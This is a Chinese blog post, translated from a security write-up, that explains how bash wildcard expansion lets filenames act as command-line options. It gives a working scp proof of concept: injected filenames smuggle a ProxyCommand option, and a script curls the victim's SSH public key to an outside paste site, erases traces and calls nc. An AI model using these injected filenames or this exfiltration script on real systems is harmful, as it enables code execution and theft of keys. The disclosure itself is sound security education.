文档章节

Linux 通配符可能产生的问题

Feng_Yu
 Feng_Yu
发布于 2014/06/26 16:34
字数 847
阅读 180
收藏 8
点赞 0
评论 0

from:https://dicesoft.net/projects/wildcard-code-execution-exploit.htm

0x00 通配符

当你在一个bash命令行中输入“*”时,bash会扩展到当前目录的所有文件,然后将他们全部作为参数传递给程序。例如:rm *,将会删除掉当前目录的所有文件。

0x01 文件名被当做参数

大多数的命令行程序受此影响。例如ls命令,当不适用任何参数时,输出是这个样子的:

[stephen@superX foo]$ ls
asdf.txt  foobar  -l

如果你想要知道这些文件所属的组和用户,你可以通过”-l"参数来查看:

[stephen@superX foo]$ ls -l
total 0
-rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 asdf.txt
-rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 foobar
-rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 -l

注意,有一个名字是“-l”的文件,我们试试“ls *”会发生什么。

[stephen@superX foo]$ ls *
-rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 asdf.txt
-rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 foobar

与之前不同的是"ls *” 没有输出-l文件,-l文件被当做了此命令的参数。

此条命令相当于运行:

[stephen@superX foo]$ ls asdf.txt foobar -l
-rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 asdf.txt
-rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 foobar  

0x02 安全问题

此问题可能导致一些安全问题,当有人参数当中带有一个通配符,又没有事先检查目录下的文件名称。这可能被用来攻击别人电脑。

这个问题是众所周知的,在http://seclists.org/fulldisclosure/2011/Sep/190已经有关于此问题的讨论。

0x03 Proof of Concept Exploit

为了证明这个问题可以转化为一个任意代码执行攻击,我们尝试攻击“scp”命令,scp命令提供了-o选项,配置ssh,SSh有涉及运行命令的选项,我们可以利用这一点,让我们的脚本运行。

假设我们有一个目录的控制权限,在该目录下受害者将运行以下命令(想象一下,用户只下载一个web应用程序的源代码,并上传到他们的网络服务器上):

$ scp * user@example.org:/var/www/

为了利用这个命令,在目录下我们需要放几个文件:

"-o" - SCP 将会把这个文件当做 "-o” 参数。 "ProxyCommand sh supercool.sh %h %p" - SCP 将会把这个文件当做 "-o" 的一个参数。 "supercool.sh" - 这个脚本将会被执行。 "zzz.txt" - 没有任何用处的测试文件。

在supercool.sh文件里,有一些恶意的命令:

#!/bin/sh
 
# Upload their SSH public key to the Internet, and put a scary message in /tmp/.
echo "By @DefuseSec and @redragonx..." > /tmp/you-have-been-hacked.txt
echo "This could have been your private key..." >> /tmp/you-have-been-hacked.txt
curl -s -d "jscrypt=no" -d "lifetime=864000"                                \
        -d "shorturl=yes" --data-urlencode "paste@$HOME/.ssh/id_rsa.pub"    \
        https://defuse.ca/bin/add.php -D - |                                \
        grep Location | cut -d " " -f 2 >> /tmp/you-have-been-hacked.txt
 
# Delete evidence of our attack.
rm ./-o ProxyCommand\ sh\ supercool.sh\ %h\ %p 
echo > ./supercool.sh
 
# Do what ProxyCommand is supposed to do.
nc -p 22332 -w 5 $1 $2

当受害者执行命令时:

$ scp * user@example.org:/var/www/
supercool.sh
zzz.txt

当他检查自己的/tmp目录下的时候将会看到:

$ cat /tmp/you-have-been-hacked.txt
By @DefuseSec and @redragonx...
This could have been your private key...
 
https://defuse.ca/b/QQ3nxADu

可以在这里下载完整的poc文件:poc.zip

© 著作权归作者所有

共有 人打赏支持
Feng_Yu
粉丝 152
博文 38
码字总数 45477
作品 0
西安
运维
Linux 之父:光提升 Linux 内核的安全性是没用的

Linux 之父 Linus Torvalds 在表达针对 Linux 内核安全性的问题上,总是有自己独到的见解。在最近的访问中,他解释了为什么内核漏洞并不像人们想象得那么糟糕。 一般发现一个Linux内核漏洞之...

oschina ⋅ 2015/11/13 ⋅ 28

Linux之父:光提升Linux内核的安全性是没用的

Linux 之父 Linus Torvalds 在表达针对 Linux 内核安全性的问题上,总是有自己独到的见解。在最近的访问中,他解释了为什么内核漏洞并不像人们想象得那么糟糕。 <IMG style="BORDER-BOTTOM:...

Foundation ⋅ 2015/11/13 ⋅ 0

专访Linus Torvalds:鄙视用道德绑架开源的行为

今年,Linux 20岁了。在Linux开始发布时,Linus Torvalds为何选择非GPL版权而不是GPL许可?让我们一起来看看Linus Torvalds的回答。本文是LinuxFr对Linux创始人Linus Torvalds的采访。 以下是...

红薯 ⋅ 2011/05/19 ⋅ 12

Neutron中Linux bridge与Open vSwitch两种plugin优劣势对比

目前说到虚拟交换机,通常会想到使用Open vSwitch做虚拟交换机,因为支持Open vSwitch的个人和企业都想要有一个开放的模式把他们的服务集成进OpenStack。 Open vSwitch社区做了大量的工作,希...

OpenInfra ⋅ 04/27 ⋅ 0

漏洞预警 Linux内核出现多个漏洞

  漏洞概述   Linux是一种开源电脑操作系统内核。它是一个用C语言写成,符合POSIX标准的类Unix操作系统。漏洞发生在 Linux 内核中,可造成越界访问或释放后再使用的安全问题。   漏洞影...

FreeBuf ⋅ 05/18 ⋅ 0

[转载] 磁盘硬件问题(坏块)检测

标签 PostgreSQL , Linux , Windows , SSD , smartctl , smartmontools , badblocks , hdparm , HD Tune 背景 Linux下面可以使用smartctl , badblocks检查是否有坏块。 Win下面可以使用HD Tu......

德哥 ⋅ 04/18 ⋅ 0

CentOS如何下载安装EPEL源

今天给大家介绍下CentOS下载安装EPEL源的步骤!希望大家喜欢! EPEL 是什么? EPEL (Extra Packages for Enterprise Linux,企业版Linux的额外软件包) 是Fedora小组维护的一个软件仓库项目,...

xiaocao13140 ⋅ 04/19 ⋅ 0

《Essential Linux Device Drivers》中文版第1章

By 宋宝华 / 本系列文章交流与讨论:xhehref="http://weibo.com/21cnbao" href="http://weibo.com/21cnbao" target="_blank">@宋宝华Barry Linux 具有诱人的魅力,它是一个由全世界不同民族、...

21cnbao ⋅ 2012/09/17 ⋅ 0

Linux通配符与特殊符号知识大全汇总

内容来源《跟老男孩学习Linux运维:核心基础实战》,预计于2018年7月出版,敬请期待,QQ群385168604交流。 Linux菜鸟及新手的福音,相当于是鸟哥私房菜(太老旧了)的2018最新企业级实战升级版...

老男孩oldboy ⋅ 05/10 ⋅ 0

深度学习-在ubuntu16.04安装CUDA9.1-总结(问题完全解决方案)

深度学习大火,为了赶上AI的班车,许多研究生本科生们都在搞深度学习。然而深度学习环境搭建必不可少,这篇文章是我多次为实验室搭建环境所积累起来的经验总结,希望所有看到这篇文章的同志们...

oldpan ⋅ 05/14 ⋅ 0

没有更多内容

加载失败,请刷新页面

加载更多

下一页

JavaScript零基础入门——(八)JavaScript的数组

JavaScript零基础入门——(八)JavaScript的数组 欢迎大家回到我们的JavaScript零基础入门,上一节课我们讲了有关JavaScript正则表达式的相关知识点,便于大家更好的对字符串进行处理。这一...

JandenMa ⋅ 今天 ⋅ 0

sbt网络问题解决方案

转自:http://dblab.xmu.edu.cn/blog/maven-network-problem/ cd ~/.sbt/launchers/0.13.9unzip -q ./sbt-launch.jar 修改 vi sbt/sbt.boot.properties 增加一个oschina库地址: [reposit......

狐狸老侠 ⋅ 今天 ⋅ 0

大数据,必须掌握的10项顶级安全技术

我们看到越来越多的数据泄漏事故、勒索软件和其他类型的网络攻击,这使得安全成为一个热门话题。 去年,企业IT面临的威胁仍然处于非常高的水平,每天都会看到媒体报道大量数据泄漏事故和攻击...

p柯西 ⋅ 今天 ⋅ 0

Linux下安装配置Hadoop2.7.6

前提 安装jdk 下载 wget http://mirrors.hust.edu.cn/apache/hadoop/common/hadoop-2.7.6/hadoop-2.7.6.tar.gz 解压 配置 vim /etc/profile # 配置java环境变量 export JAVA_HOME=/opt/jdk1......

晨猫 ⋅ 今天 ⋅ 0

crontab工具介绍

crontab crontab 是一个用于设置周期性被执行的任务工具。 周期性执行的任务列表称为Cron Table crontab(选项)(参数) -e:编辑该用户的计时器设置; -l:列出该用户的计时器设置; -r:删除该...

Linux学习笔记 ⋅ 今天 ⋅ 0

深入Java多线程——Java内存模型深入(2)

5. final域的内存语义 5.1 final域的重排序规则 1.对于final域,编译器和处理器要遵守两个重排序规则: (1)在构造函数内对一个final域的写入,与随后把这个被构造对象的引用赋值给一个引用...

江左煤郎 ⋅ 今天 ⋅ 0

面试-正向代理和反向代理

面试-正向代理和反向代理 Nginx 是一个高性能的反向代理服务器,但同时也支持正向代理方式的配置。

秋日芒草 ⋅ 今天 ⋅ 0

Spring 依赖注入(DI)

1、Setter方法注入: 通过设置方法注入依赖。这种方法既简单又常用。 类中定义set()方法: public class HelloWorldOutput{ HelloWorld helloWorld; public void setHelloWorld...

霍淇滨 ⋅ 昨天 ⋅ 0

马氏距离与欧氏距离

马氏距离 马氏距离也可以定义为两个服从同一分布并且其协方差矩阵为Σ的随机变量之间的差异程度。 如果协方差矩阵为单位矩阵,那么马氏距离就简化为欧氏距离,如果协方差矩阵为对角阵,则其也...

漫步当下 ⋅ 昨天 ⋅ 0

聊聊spring cloud的RequestRateLimiterGatewayFilter

序 本文主要研究一下spring cloud的RequestRateLimiterGatewayFilter GatewayAutoConfiguration @Configuration@ConditionalOnProperty(name = "spring.cloud.gateway.enabled", matchIfMi......

go4it ⋅ 昨天 ⋅ 0

没有更多内容

加载失败,请刷新页面

加载更多

下一页

返回顶部
顶部